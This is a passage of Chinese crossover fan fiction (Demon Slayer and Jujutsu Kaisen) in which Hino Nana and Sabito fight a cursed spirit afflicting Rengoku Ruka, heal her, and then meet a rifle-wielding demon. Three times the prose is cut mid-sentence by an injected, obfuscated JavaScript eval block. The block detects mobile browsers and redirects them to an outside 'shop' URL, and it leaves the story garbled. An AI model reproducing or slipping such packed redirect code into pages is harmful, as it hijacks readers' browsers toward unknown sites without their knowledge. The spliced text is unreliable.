请来再好的医生也无济于事，简直像是被死神诅咒了一样。 特别是今夜，尤其凶险。 瑠火夫人平日带人亲善而不失威严，是一位非常值得尊敬的女性，但这个晚上，她怕不是…… 隐们叹着气，忧虑地继续忙碌起来。 交错的脚步声逐渐远去，缘侧重回寂静，只余夜间寂然的风声。 忽然，缘侧旁的草丛里探出两个脑袋。 “呸！”日野奈奈吐出嘴里的叶子。 她眯眼思考刚刚听到的隐们的对话：“名为瑠火的女性正病重么，那么咒灵估计就在她的身边吧。我们得去找她。” 空气中到处都是咒灵令人作呕的咒力残秽，几乎要浓重地遮蔽视野。 日野奈奈的脸色非常差。 按照这个浓度，这只咒灵存在的时间不会短，被它缠身的人怕是会被侵蚀得非常严重。 只是身体生病已经很好了，就怕精神遭到了难以逆转的伤害…… 她的术式可无法疗愈人的精神啊。 希望这位瑠火夫人意志力足够强悍，精神没有被咒灵冲击到。 她压低身体，准备窜出去的前一刻，衣角被人拉了拉。 日野奈奈疑惑侧头，看见锖兔默然看着她。 锖兔：“炼狱府这么大，你知道那位瑠火夫人该去哪找吗？” 日野奈奈理直气壮：“不知道啊，不过一个房间一个房间翻过来，迟早能找到。” 锖兔幽幽看她：“府里目前的人手不少，而且都非常警戒，你确定能避过所有人找到那位夫人和咒灵吗？” 在来的路上，日野奈奈为锖兔大致介绍了“诅咒”相关的存在，时间紧迫，但锖兔还是迅速将咒灵和民宿传说中的怨鬼画上等号。 是那种对人充满恶意的，需要类似阴阳眼才能看到的存在。 锖兔很确信自己没有这种“阴阳眼”，那么在祓除咒灵这件事上确实要仰赖日野奈奈，他选择在一旁进行协助。 由于对咒灵缺乏了解，于是锖兔便暂时顺着奈奈的脚步走。 但是走着走着，他渐渐觉得不太对。 在经历半夜翻墙、在草丛里匍匐前进、打晕了一位不幸发现他们的隐成员后，锖兔忍不住开始干涉日野奈奈的行径。 请别再往前盲冲了啊！有点计划吧！ 锖兔抽着嘴角这么劝道。 “计划？就是发现咒灵，找到咒灵，然后祓除啊。”日野奈奈茫然地回视他。 她和锖兔面面相觑，无辜地眨了眨眼睛。 锖兔闭上了眼睛。 他又错了，他为什么还在全然相信她！ 他明明都已经知道日野奈奈的行事风格了啊！ 锖兔冷静下来，按住日野奈奈的肩膀：“听听我的建议，先不要开始搜查，我们继续找人打听情况。” 鉴于日野奈奈死活不愿意将诅咒之事直接上报，认为这是平生事端，不如先斩后奏，锖兔只能与她在偌大的府邸内潜行打听。 十几分钟后，再次听完隐的对话，日野奈奈庆幸地看向锖兔。 幸好听锖兔的，没有直接去找瑠火夫人。 炎柱他一直都待在炼狱瑠火的房间啊！ 他们直接过去的话，便会和炼狱槙寿郎直直撞上。 “得先将他引开，但怎么才能做到这一点呢。”日野奈奈苦恼道。 炎柱肉眼可见地在乎他的妻子，在这种紧要关头绝对会寸步不离地守在炼狱瑠火身边。 锖兔揉着眉心：“要是坦白有用就好了，但以这个男人的精神状态怕是无法成功。” 一路上，奈奈和锖兔已经听了无数隐的碎碎念。 包括炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137471|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱越来越紧张的对外态度，做任务时心思也一直惦念着家里，巡逻辖区的范围也是围绕着炼狱府，变得越来越小云云。 甚至之前似乎还失手放走了实力不错的鬼。 锖兔当时听到这点时怒火中烧，奈奈皱着眉按住他颤抖的臂膀。 “……如果他那么在意妻子的话，本身应该是个在乎家庭的人吧，”日野奈奈琢磨着，“要不我们去找找他的孩子，商量着能不能把他带离瑠火夫人旁边。” 引不开的话，她可不敢当着这位精神状态可怕的炎柱的面拔刀啊。 她真怕这人以为她要杀害瑠火夫人，然后对她提刀发疯。 至于炎柱的孩子，炼狱杏寿郎么……日野奈奈回忆起前不久的遇见。 那是个知礼守节、热情体贴的孩子呢。 希望找到他的时候，他已经忘记了自己想拔刀入府的举动。 日野奈奈开始了自己都觉得没用的祈祷。 ……没想到祈祷似乎真的起作用了。 炼狱杏寿郎在知晓他们的来意后，居然很爽朗地答应下来。 “想办法引走父亲么，唔姆，我明白了！” “……真的吗？”日野奈奈愣住。 她忍不住补充：“是将你的父亲引开，然后我们两个进去哦。”日野奈奈指了指自己和锖兔。 她还保持着一副鬼鬼祟祟潜入进来的姿态，警惕地贴在障子门上，只留一条小缝，月光照入一线，映亮他们偷来的来时路。 见少女比自己还怀疑自己，炼狱杏寿郎弯起嘴角。 他还穿着那身之前与奈奈相遇时的衣服，羽织被方方正正叠着放在腿边。 炼狱杏寿郎说：“其实之前分别的时候，我便对您口中的神秘恶物有所预感。” 他的笑意冷了下来：“我亲手看见您将之前遇鬼的那人照料得很好，明白您是珍重生命之人。如此一来，您之前忽然拔刀、神思不属的样子便引人深思。” “虽然母亲一直瞒着我，但我明白母亲的身体一直是不好的，偶尔也偷偷见过她生病的样子。” “这次母亲病得很重，但我却觉得现在和之前的病是不一样的。” “她时常对空气喃喃，像是有个未知之物盘桓眼前一样，再加上您对府内警惕的样子，我猜测或许是真的有什么异常之物。” “这个世界上既已存在鬼这种不讲道理的生物，那么再多其他的也是有可能的吧。” 年纪轻轻的少年语气稳重：“不过唯有一点，我希望您能改变主意——我也要进入房间，至少亲眼明见那恶毒之物在您手下消逝。” 他的眼瞳闪烁着坚定的烛火，与日野奈奈对视。 炼狱杏寿郎一番话语惊得日野奈奈张开嘴，半天说不出话来。 “……你真是一个有魄力的人。”她最后说道。 愿意接受自己无法理解、无法窥见的存在，推理并豁达地相信一个在他看来来路不明的陌生人。 日后一定会成长为可靠而灵慧的存在吧。 她如此衷心地想。 “这也是为了让家母不再痛苦，让家父不再恍惚。”炼狱杏寿郎平静地说。 随后他再次扬起微笑：“唔姆，那么我们也算是达成共识的同盟盟友了吧？” “请问我该如何称呼您？” 日野奈奈反应过来，虽然对方早对她托出姓名，但她居然一直失礼地对自身姓名闭口不谈。 她连忙介绍：“我是日野奈奈，他是鳞泷锖兔。” 哪怕是日野奈奈，在这接二连三的事情下，也再次不好意思起来。 锖兔安静地朝这位早慧的孩子颔首，神情友善。 炼狱杏寿郎睁着一双猫瞳，点头叫出他们的姓氏：“日野小姐，鳞泷先生！” “拜托了。”他对两人行了一个礼，尚还稚嫩的嗓音郑重道。 如同正午最炽烈的光凝成了实体，太阳般的咒力撕裂空气呼啸着奔涌而来。 奈奈的瞳孔一缩，映出那片霸道的金红色，发丝被疾风掀起。 只有日野奈奈能看见的金红色咒力在最后一刹那化作万千金线，自炼狱杏寿郎之处腾起向她席卷，轻轻将少女环绕。 18.咒灵现身 炼狱杏寿郎，第四位咒力来源者。 在浓浅不一的诅咒气息中，来自杏寿郎的咒力细线色泽纯净，如此分明。 也如此措不及防。 日野奈奈伸出手，向她奔来的金红色咒力柔和地穿过她的手掌，没入她的身体。 体内的咒力量沸腾一般膨胀起来。 来到东京仅一个晚上，日野奈奈就在这片咒力失落的世界见到了第一只咒灵，邂逅了蜜璃与杏寿郎两位新的咒力来源者。 “我的天啊……”少女喃喃。 一直在野外徘徊奔波的她有些感动：“东京，你真是个地灵人杰的好地方……！” 异常之事接踵而来，下午初入东京时的戏言仿佛也有了成真的可能。 难道，她真的可以在东京发现高专的踪迹？ 甚至是……回家的门？ 心脏砰砰鼓动，希望在心底燃烧起来。 ——她必须把握好现下能凑出线索的所有拼图！ “杏寿郎！”日野奈奈两眼放光地往前膝行两步。 她几乎是深情呼唤。 锖兔眼皮一跳，下意识往她的方向抓了抓，没抓住。 少女已经如脱缰野马窜到了炼狱杏寿郎身边，捉住少年放在大腿上的手，在自己的胸脯前紧紧握住。 “我一定会解决咒灵、守护好这片土地，你的父亲与母亲也一定都会好起来，所以！”她大声道。 “身为特殊之人，杏寿郎可以一直与我保持交往吗？” 直到我能回家的那一天？ 日野奈奈认真注视着因她话语而怔住的少年，金瞳在昏暗室内闪闪发光。 炼狱杏寿郎的手掌被实实包裹在少女手心。 他向来飒爽的面容有些懵然，唇角笑意不变，眼睛中却透露出僵硬。 太、太近了，他失礼了！ 日野奈奈的后领一紧。 是锖兔。 终于抓住奈奈的锖兔没好气地拎着她往后捎了稍：“不许再说这种轻浮话！” 他瞥了一眼瞳孔地震的炼狱杏寿郎，揉了揉太阳穴，心里麻木地想。 至少别对刚见一两面的异性这么说啊。 日野奈奈沉吟，随后赞同点头：“你说得对，现在不是时候。” 她猛然起身，腰间刀锋半出鞘，挺拔身姿如同藏身室内亟待而出的骄阳，映照在他人眼底。 炼狱杏寿郎的视线下意识跟随傲然拔刀的少女。 日野奈奈眉眼弯弯，眸底开始泛冷。 “——那么，就让我们先行把该死的咒灵祓除吧！” * 灯火憧憧，炼狱槙寿郎心神不定，跪坐在平躺的女人身边，攥着妻子手掌的手指微不可见地发抖。 炼狱瑠火额间满是冷汗，虚弱地半阖着眼。 长久的昏迷后，她又一次地醒来。 发冷的手被男人包在手心，感受到颤抖的动作，炼狱瑠火闭着眼睛笑了笑。 “这样可没有炎柱的风范哪。” 炼狱槙寿郎：“那种东西根本无所谓。” 炼狱瑠火无声叹了口气。她努力抬了抬空闲的另一只手，想摸一摸自己夫君的头，炼狱槙寿郎沉默低头迎合她的手。 “槙寿郎，你将太多时间耗费在我身上了。” 她的语气带上一丝严厉。 “这周我每次醒来都能看见你，你还是没有去夜巡，也没有去斩鬼吗？” “去杀鬼吧，槙寿郎，这是你作为柱的职责。担当重负之人，不可倦怠，不可颓靡。” “恶鬼们可还在世界上大行其道哪。” 女人的手摸着男人的头，炼狱槙寿郎垂头，脸颊肌肉不自觉地抽搐着：“瑠火……这次你病得太久了，我不能……” 男人手上青筋暴起，指甲在被单上抓出深深划痕。 炼狱瑠火注视着他，那双眼睛里有责备和不赞同。 女人的胸膛微弱起伏，呼吸声轻得几乎听不见。被高烧折磨的面容在灯光下红润无比，呈现自欺欺人的健康之感。 男人沉默地跪坐在原地。 类似这样的对话在过去几天已经进行数遍了。 “如果有鬼需要我去斩杀，隐会来通知我的。” 他总是只能妥协到这里。 话音刚落，门外传来窸窣声，有人在走廊停留，低低的声音传入室内。 “打扰了，父亲。隐那边有鬼的情况需要汇报。” 是杏寿郎的声音。 炼狱槙寿郎下颚一紧。 女人唇角微弯：“看来是需要你履行职责的时候了呢。” 刚刚才说过相关的话，炼狱槙寿郎脸色僵硬。 他与炼狱瑠火对视，满脸不情愿。 “父亲？”门外杏寿郎的语气变得小心起来，“请问是有什么情况吗？我去喊人帮忙——” “槙寿郎。”炼狱瑠火眼神流露催促。 炼狱槙寿郎沉着脸站起身：“……我很快回来，二十分钟内。” 踏出门外，他冷冷看了乖巧跪坐的杏寿郎一眼：“照顾好你母亲。” “是。”杏寿郎应道。 男人大步流星地走远，转瞬间消失在视野尽头。 炼狱杏寿郎松了口气。 看来是母亲醒了，不然他还要想另外的话术引父亲出来。 缘侧下方悄无声息地爬出两个人，先行出来的锖兔拉了奈奈一把。 借力起身的日野奈奈抹了把灰扑扑的脸，惊奇道：“好轻松就引开了哦。” 轻松到她以为炼狱槙寿郎的精神状态是正常的了。 炼狱杏寿郎低声道：“应该是家母的功劳。母亲虽然卧病在床，但神志清醒时总会劝父亲不要固守床边。” 锖兔：“是一位深明大义的女性，值得尊重。” 日野奈奈点头：“放心，杏寿郎，你母亲会没事的。” 语毕，她没有再磨蹭，踏入房门。 脚尖第一次落地时，沉寂臃肿的咒力残秽如同被激活了一般，迟滞地向她蔓延而来。 那股不祥之气比之前任何时候都要浓厚。 但是……却没看到咒灵。 日野奈奈皱起眉头。 还未合目的炼狱瑠火愕然地看着陌生少女骤然出现，没等她警惕叫人，炼狱杏寿郎也踏入此间。 “母亲。”他微微低头。 炼狱瑠火闭上嘴，欲言又止：“杏寿郎，她们是……” 那边的母子在隔空解释，这边的日野奈奈在仔细观察房间布置。 熟练的手势久违在她手上摆出，少女站立原地，闭目敛息。呓语自唇边溢出，一层比天更黑的帐幕于此方天地落下。 “由暗而生，暗中至暗*……以此间为界，禁绝内外！” “其他人禁止入内”的额外束缚一经缔结，体内本来充盈的咒力以一种恐怖的速度消耗起来，转眼间差点将日野奈奈抽空。 她面色一白。 这个消耗量不正常，哪怕她定下了另外的束缚。 果然……这个世界对咒术师的限制很大。 少女没稳住身体，猛地单膝跪地。 锖兔瞳孔一缩：“奈奈！” 炼狱杏寿郎：“日野小姐！” 两人一同伸手扶向日野奈奈，锖兔站得更近，先扶住了少女的身体。 好凉的手，锖兔凝重地想。 他撑住日野奈奈，少女安抚地看了他一眼，转而看向另一边的炼狱杏寿郎。 向来含笑的少年此刻唇角笑意消失了，紧张地看着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144061|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 奈奈笑了两声，朝他招了招手：“抱歉啊，让你看到这么弱的一面，不过没关系的，请过来握住我的手。” 她手心向炼狱杏寿郎的方向延展，杏寿郎毫不犹豫地握住。 太阳般温暖的咒力向奈奈的身体传递，干瘪下去的咒力量重新凝实起来。 手下的温度在缓慢升高，锖兔紧了紧扶住日野奈奈的手，眼神暗了下去。 “请问这是什么情况……” 诧异虚弱的女人声音在不远处响起。 日野奈奈向那边看去，炼狱瑠火正迷茫地看向他们。 在她那双红色的眼瞳中，三人抱成一团，紧紧挨在一起。 少女与炼狱瑠火对视，尴尬地清了清嗓子，却发现了不对。 她眯了眯眼睛：“瑠火夫人，您看见了什么？” 炼狱瑠火定定地看向他们的方向。 那双如红玛瑙般的眼睛里，若有似无的黑雾于其间流转、萦绕，缓缓地飘动，飘向了…… 日野奈奈瞬间推开身旁两人，她抽出咒具，雷厉风行朝那个方向连斩两刀！ 浅金色咒力与隐匿于空气之物霍然对碰！ “咔、咔咔——” 像是玻璃罩碎掉的声音，一种清脆、坚韧的物什破开一条缝，难以窥见的蛛网状裂缝迅速蔓延。 原本笨拙流动的咒力残秽活跃起来，狂欢般朝她的方向喷涌而来！ “杏寿郎，保护好你母亲！” 日野奈奈厉声道。 她拉着锖兔几个跳跃避开了诅咒袭击的方向。 原本他们站着的地方，赫然已经破开了一个大洞。 “看得见吗，锖兔。”日野奈奈紧紧盯着诅咒的方向。 在炼狱瑠火身前不远处，一只庞大咒灵若隐若现地从古怪的裂隙里爬出。 呈火焰反色的焦痕遍布它全身，身体上不断落下古怪的黑色颗粒，接触地面时侵蚀出一个个破洞。 【……好烫，好烫啊……】 空气中气温在极速下降。 比二级咒灵气息更强，一级咒灵吗…… 日野奈奈心沉了下来。 锖兔已然握刀备战，他银色的瞳孔将室内一切揽入眼底。 ——日野奈奈所视的方向，一片空空如也。 锖兔扯了扯唇角，脸侧的伤疤狰狞地扭动一下：“看不见。” 接着他额角爆出青筋，手中力度一紧：“但是，感受得到！” 锖兔目光冷凝，疾身朝那团无比扭曲的空气奔去。 “水之呼吸·七之型·雫波纹击刺！” 骤然行进的少年闪现咒灵身前，刀势以雷霆落雨之势向前突刺。 他眼中空无一物，却果断转腕上挑！ “水之呼吸·四之型·打击之潮！” 多段斩击精准叠加在一处，咒灵右大臂被本看不见它的少年霍然斩落。 常人看不见的怪物发出痛呼，尖锐嘶哑的嗓音钻入日野奈奈耳道。 少女睁大的眼瞳倒映着肉粉色少年的背影。 黄绿色的龟纹羽织在视野里晃动，果决的身影与藤袭山的那道侧影重叠。 毫不犹豫的杀意，磨炼至极的剑技，初遇时那种斩断她所有无趣之感的凛然之刀—— 疾风于回忆中咆哮而来，日野奈奈一阵心神震颤。 她唇角咧开兴奋的笑意：“鳞泷锖兔……鳞泷锖兔……你果然是个天才！” 少女大笑出声，满身战意。 她提刀掠身，趁锖兔闪身躲避咒灵之际，接过空隙，转瞬和爬出一半的咒灵激战在一起。 尘屑飞扬，刀光掠影，烛火在满室刀剑残影中剧烈晃动起来。 在炼狱杏寿郎和炼狱瑠火惊愕的注视下，此间房屋轰然倒塌！ 19.酣战 梁木倾倒，碎瓦飞溅，地面开始明显摇动。 炼狱母子狼狈躲过头顶落石，杏寿郎搀扶着母亲在庭院一角躲好。 他回头，看不清的烟尘里，浅金与深蓝圆弧交织，时不时传出闷哼声和刀锋切入血肉的声音。 被围殴痛击的咒灵吃痛嚎叫。 【可恨……恶心……为什么要来打扰我的复仇……】 庞大的身体蠕动着，想缩回那道古怪裂隙。 尘雾弥漫的石木废墟中，金瞳忽然亮起，如紧盯猎物的山猫。 咒具挥开遮掩视线的灰尘，日野奈奈眼疾手快，一把钳住了咒灵差点缩回裂隙的肢体。 她弯了弯眼睛，笑着道：“别赖在里面，出来玩啊！” 用于强化身体的咒力猛增，少女一个用力，生生将咒灵从逐渐合拢的缝隙中扯了出来。 深蓝的水之刀锋切入视线，锖兔高挥日轮刀，斩击的力度稳重狠辣。 “水之呼吸·八之型·泷壶！” 水势如滔滔江河汇入刀锋，经年训练的力量全然积攒在此刻，自上而下砍断咒灵后足，彻底斩断了它的后路！ 自战斗开始便顺势展开的默契于这瞬间再次被日野奈奈捕捉到。 不可思议。 日野奈奈一边挥刀，一边无比畅快地想。 不可思议的默契，每一次的行动都能彼此回应，每一处匆忙时留下的破绽都被人填补。 习惯于向前挥击的战斗之身像是迎来了最可靠的另一边半身。 水流既湍急得能跟上她的节奏，又浑厚无声地护住她的后背。 又是一次深深斩入咒灵躯体的挥击，日野奈奈的身姿于半空中留滞，双臂爆出青筋向下砍去。 下一瞬，一把深蓝色的刀悄无声息架在咒灵躯体的另一边。 两相对斩，合力将咒灵的左臂斩落于地！ 日野奈奈一个轻巧的后翻，落于咒灵前方。 锖兔顺着向前突刺的力道落于她的身边。 银瞳从少女浑身上下扫了一遍，确认平安无事才将视线转移回前方。 两人并肩而立，挡在了咒灵与裂隙之间，丑陋的咒灵在坍塌的屋瓦间尖啸。 少女金色的瞳眸中，咒灵已然失去了左臂、右臂、右后腿。 她沉下身，呼出一口气。 体内咒力少了很多，想跟上一级咒灵的攻击频率并对其造成伤害，果然不是一件轻松的事。 虽然战局目前为止都还算顺利，咒灵在这个世界似乎也被限制了力量，但她明白，敌人的实力肯定远不止于此。 【为什么，啊啊——该死的炼狱，该死的炼狱，都不许阻挡我！！】 意识到自己无法顺利逃回裂缝之中，咒灵怨毒的视线终于正式落在阻挡它的两人身上。 “咕叽……”咒灵身上所有斩断的地方全数复原。 阴冷感突如其来。 来了！ 日野奈奈头皮一紧，身体先意识一步侧身，一道咒力轰击擦过她的身体在她后方炸响。 这只是攻击的先锋。 冷色的火焰自咒灵身上爆开，本就很低的温度骤然降到常人无法忍受的地步。 下一瞬，极寒无比的攻击如狂风暴雨般朝少女倾斜而来，所经之处草石粉碎，幸存的屋舍纷纷卷入其中灰飞烟灭。 “当心！” 日野奈奈和锖兔被迫分开，堪堪躲开密集的咒力风暴。 少女在房屋残骸中飞掠，她一边躲避攻击，一边斩出数刀与咒力团对撞。 “水之呼吸·九之型·水流飞沫！” 灵巧凌厉的刀势替她挡住侧边的攻击。 锖兔与她再次汇合，他身上羽织被咒力余波轰破，手臂上迅速结上一层冰。 锖兔震碎冰层，拧眉道：“我们先前的攻击对它没有影响吗？它攻击的范围变大了很多！” 日野奈奈快速回他：“有影响，但咒灵不论伤成什么样都可以自行复原，必须找到它的核心弱点才能彻底杀死它！” 对于咒力量不高的日野奈奈来说，锁定咒灵核心进行针对性破坏是最效率也最安全的方法。 但现在的问题是，在过去的十几分钟交战里，她完全没有发现这只咒灵的核心在哪里。 锖兔挥刀砍碎朝他袭来的扭曲空气，冷笑：“这东西真是跟鬼如出一辙得恶心。” 日野奈奈极限闪避一道攻击：“谁说不是呢。” 这么下去很不妙。 体内咒力在不断流失，尽管已经精准控制了输出量，但面对实力强大的敌人，再精细的控制也耗不过输出总量的庞大。 趁锖兔替她引走咒灵的注意力，日野奈奈咬牙窜到高处，俯瞰战局。 四肢酸软地抽搐，血液奔腾声在鼓膜上轰隆作响。 目之所及，皆是荒乱砖瓦，本就破碎的房屋在毫无停息的交战中更是雪上加霜。 深蓝色的水之刀在密不透风地防守，锖兔的样子也很狼狈，只拼尽全力让自己不受到致命伤。 血痕在他身上不断浮现。 日野奈奈深呼吸两口，让自己沸腾的热血冷静下来。 她一定忽略了什么。 不可能存在毫无弱点的生物，哪怕咒灵也是一样。 冷静回想一下，核心弱点可能存在于什么地方。 变幻莫测的战局中，黑发金瞳的少女闭上了眼睛，世界漆黑一片，时间在高速运转的思绪中缓慢下来。 “……脖子？心脏？” 熟悉的气息在回忆中浮现，耳边响起温和理性的嗓音。 有人教导她：“不对，奈奈，不能用看人类的眼光看待咒灵啊。” “咒灵不是人类，普通的生物弱点对咒灵是无效的，它们依附于人类的诅咒存在，不存在肉身。” 记忆里的少女苦恼道：“果然不是这些啊，那它们的弱点到底在哪里？总有可以一击致命的地方吧。” “胡乱的攻击就能消灭它们吗？只要是咒术师的攻击就可以？这也太无脑了。”她耿直道。 夏油杰说：“咒术师祓除咒灵，本质上是用更强大的咒去覆盖咒灵的咒，在更强大的咒面前，咒灵的存在没有意义。” “无人管束的负面情绪之所以能凝聚成咒灵，其根本在于诅咒在混沌中脱胎出了理性的执念。呵，非常恶心的类人的执念……执念摧毁了，咒灵也就消失了。不论哪种等级的咒灵都一样。” 日野奈奈听晕了，诚实摇头：“听不懂。” 记忆里的男人笑了两声：“只要多和咒灵接触，自然而然会有所悟，奈奈，唯有诅咒能对抗诅咒，咒灵的执念就是对它们自身的诅咒。” “……算了，最简单的就是够强就好。将术式和咒力打磨极致，不懂这些原理也没关系。没事的，我在你身边。” 过去的絮语消散，日野奈奈睁开双眼，有光华在金瞳中流转，灵感联袂而至。 ……执念。 执念落于何处。 …… ——保护好奈奈。 有一个声音在锖兔的心间不断重复着。 森然攻击划过脸侧，一条血线自原有的伤疤上显现。 少年勉力抵挡住大部分进攻，他擦去灰尘和血迹，单膝跪地。 体力渐渐不支了，锖兔冷静地想。 但是要坚持住，奈奈在他的后方。 为奈奈争取思考的时间，身为队友，他一定会—— “砰！” 连绵而来的攻击余波掀飞了少年，锖兔在空中借势转身，朝看不见的敌人袭去！ 嗓音从牙关里挤出。 “水之呼吸·十之型·生生流转！” 磅礴水势应召而来，在少年手中组叠、合势，刀刃划出凌厉圆斩，扭身舞动间，利爪、怒目与龙吟尽然涌现，一条暴厉无比的水龙向前咆哮而去！ “轰——！！” 水龙与诅咒的恶息轰然对撞，无形的爆炸波自战场中心荡出涟漪。 尘埃掩去了所有的视野。 包括原本勉强可见的空气中的扭曲波动。 咒灵在他的眼中“消失”了。 藏在哪里？！ 锖兔压下水之呼吸最强一击带来的疲惫感，他咽下喉间的铁腥味，警觉地观察四周。 视线晃动着，烟霭，土块，残砖，旧瓦，阳光。 他视线一凝。 在这尚处月夜的灰尘漫天之地，怎么会出现阳光？ 那个方向是……炼狱杏寿郎他们躲藏的地方！ 锖兔猛然回首。 下一秒，他的瞳孔放大。 一抹身影自天边圆月中央不断放大，从天而降的剑技是他没有见过的招式，浅金色的光点在她刀中不断溢出。 日野奈奈挥刀向炼狱母子掠去，挑斩劈抖间，刀尖金芒照亮炼狱母子惊愕的脸。 “三态日轮·烈阳式·光合阳华矢——” 灿如天阳的刀势挥挽成花，层层密密朝炼狱瑠火挥去。 炼狱杏寿郎悚然惊叫：“母亲——！” 他目眦欲裂想将炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148768|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱瑠火挡在身下，一只青筋暴起的手猛然扯住他，随后左肩一重。 炼狱杏寿郎眼睁睁看着母亲被金光包围，心脏几乎停跳，他僵硬在原地，大脑一片嗡然。 左肩力道加重，有人咳出一口血，彻底伏在他肩头。 “……放心，她没事。你看。” 炼狱杏寿郎颤抖的瞳孔定格在眼前的手指上，苍白手指坚定地指向前方。 一片浅金色光芒的围绕中，黑发红瞳的妇人眼底病重的青影褪去，渐渐不复原本虚弱的模样，面容安然而红润。 她毫发无损地站在形似阳光的金芒中，讶然地看向炼狱杏寿郎。 ……母亲。 ……健康的母亲。 身旁人又咳了两声，血迹在炼狱杏寿郎胸前晕开，炼狱杏寿郎怔愣转头。 少女惨白的面容在他眼中放大。 日野奈奈眼角、鼻底和唇边都渐渐溢出了鲜血。 她笑着与炼狱杏寿郎对视，在那双金红色的眼瞳中看到自己惨烈的倒影。 随后对他说：“你的妈妈暂且是好了哦，笑一笑呗。” 鲜血如溪流，滴答。 滴落在炼狱杏寿郎指尖。 轻飘飘的话语如惊雷在耳边炸响，炼狱杏寿郎的呼吸骤然粗重。 他的身躯猛然紧绷，侧身扶住了日野奈奈。 “日野小姐！”恐惧的声音呼唤着她。 措不及防倒在少年人的怀里，暖呼呼的温度拂到发冷的面颊上，日野奈奈被烫了个激灵。 炼狱杏寿郎恐慌的神情被她尽收眼底。 “哎，哎，别慌。” 日野奈奈不小心咬住舌头，一口气差点没上来，勉强看向战场的方向。 视线掠过一地的断壁残垣，掠过渐渐平息的尘埃，掠过僵在远处的肉粉色少年的身影。 最后落在庞大的咒灵身上。 咒灵狂舞的姿态僵硬在某个瞬间，它似乎在努力挣扎着，却收效甚微。 【炼炼炼炼狱——恨恨恨恨恨恨恨——】 卡碟一般的刺耳嗓音，日野奈奈被尖得两眼一黑。 下一瞬，咒灵臃肿不已的身躯缩水一般缩小下去。 目睹景象的日野奈奈心里松下一口气。 倒因为果，倒果为因。 她本以为炼狱瑠火的病症是咒灵待她旁边影响的结果，杀死咒灵就是救炼狱瑠火的命。 所以杀死咒灵变成她行动的第一目标。 却没想到，优先治愈炼狱瑠火的病才是对付这个咒灵的最优解。 这只咒灵居然真的是将存在的意义系于对炼狱家的复仇之上，为此不惜将自己的大半核心侵染在炼狱瑠火身上，诅咒着她快点死去。 只要炼狱瑠火好起来，它的核心便会被压制，继而衰弱下去。 核心外宿……咒灵真的能做到这点吗，这绝对不是单纯的咒灵吧！ 这个世界的咒灵变异了啊！ 身体刚放松下来，剧痛的感觉传遍全身，日野奈奈倒吸一口凉气，止不住地内心吐槽。 果然，使用“烈阳式”还是太勉强了，毕竟它脱胎于三态日轮术式反转的灵感。 三态日轮的术式反转杀伤力太大，她无法驾驭。 在五条和夏油的帮助下，勉强能操控模拟出类似的力量，但也对她的身体危害很大。 经过快半年的磨合，才在术式顺转“晨曦式”的基础上加入并中和那种狂暴的攻击能力，开发出了“烈阳式”，是攻击与治愈兼备的伪顺转术式。 但说实话，以她目前的能力也很难承受“烈阳式”的消耗。 刚刚那种情况，只能有招先上了。 在兼顾治愈炼狱瑠火体内被诅咒侵染的痕迹之外，还要斩断咒灵隐于炼狱瑠火体内的咒力链接。 很废人，只能说真的很废人，废日野奈奈。 日野奈奈眼前一阵阵发黑。 “让我充会儿电，充会儿电。”她闭上眼睛，把脸半埋进身边少年的羽织里。 炼狱杏寿郎僵硬着身体，任由少女找了个舒服的位置。 咒力源源不断地汇入她的身体。 在一切似乎风平浪静下来之时，她的耳朵敏锐地捕捉到某种声音。 一种窸窣的、恶劣的窃笑声。 远处，锖兔与突然的身影猛然对刀，刀剑与枪支的碰撞声摩擦出刺耳的锐响。 咒灵的躯体还未消散完毕，从肥腻尸身中爬出的鬼物狰狞地裂开嘴角。 ——一只隐藏在咒灵里的鬼。 20.下弦之肆 鬼？！ 日野奈奈在这一瞬间忘记了自己遭受重荷的身体，在炼狱杏寿郎的膝上撑起身来。 她瞳孔放大，惊骇的神色盛满眸底。 那是一只身形健壮的男鬼，身着西式军服，白色军帽牢牢扣在头顶，使脸上的鬼纹愈发鲜艳。 它举着一把枪，正对着近在咫尺的锖兔，笑容恶劣。 “啊啊，怎么能把我的诅咒打散呢，那可是天赐于我的神力啊！” 鬼用一种咏叹般的语调说道，枪管抵在自己的太阳穴研磨得鲜血淋漓。 那把枪枪身笔直，漆黑发亮，最重要的是，下面连着标志性的弧形弹夹。 看清那把枪的模样，日野奈奈的表情开始扭曲。 ——那是AK吧！ 是AK没错吧！ 为什么这个时代会有这种东西，那不是二十世纪中期才发明的东西吗！！ 而且什么叫诅咒是天赐之物，这只鬼为什么会和咒灵牵扯到一起啊！ “讨厌，讨厌，真是太烦心了，不要阻拦我的复仇啊！” 鬼的眼珠后翻，露出一股听不进人话的疯劲来。 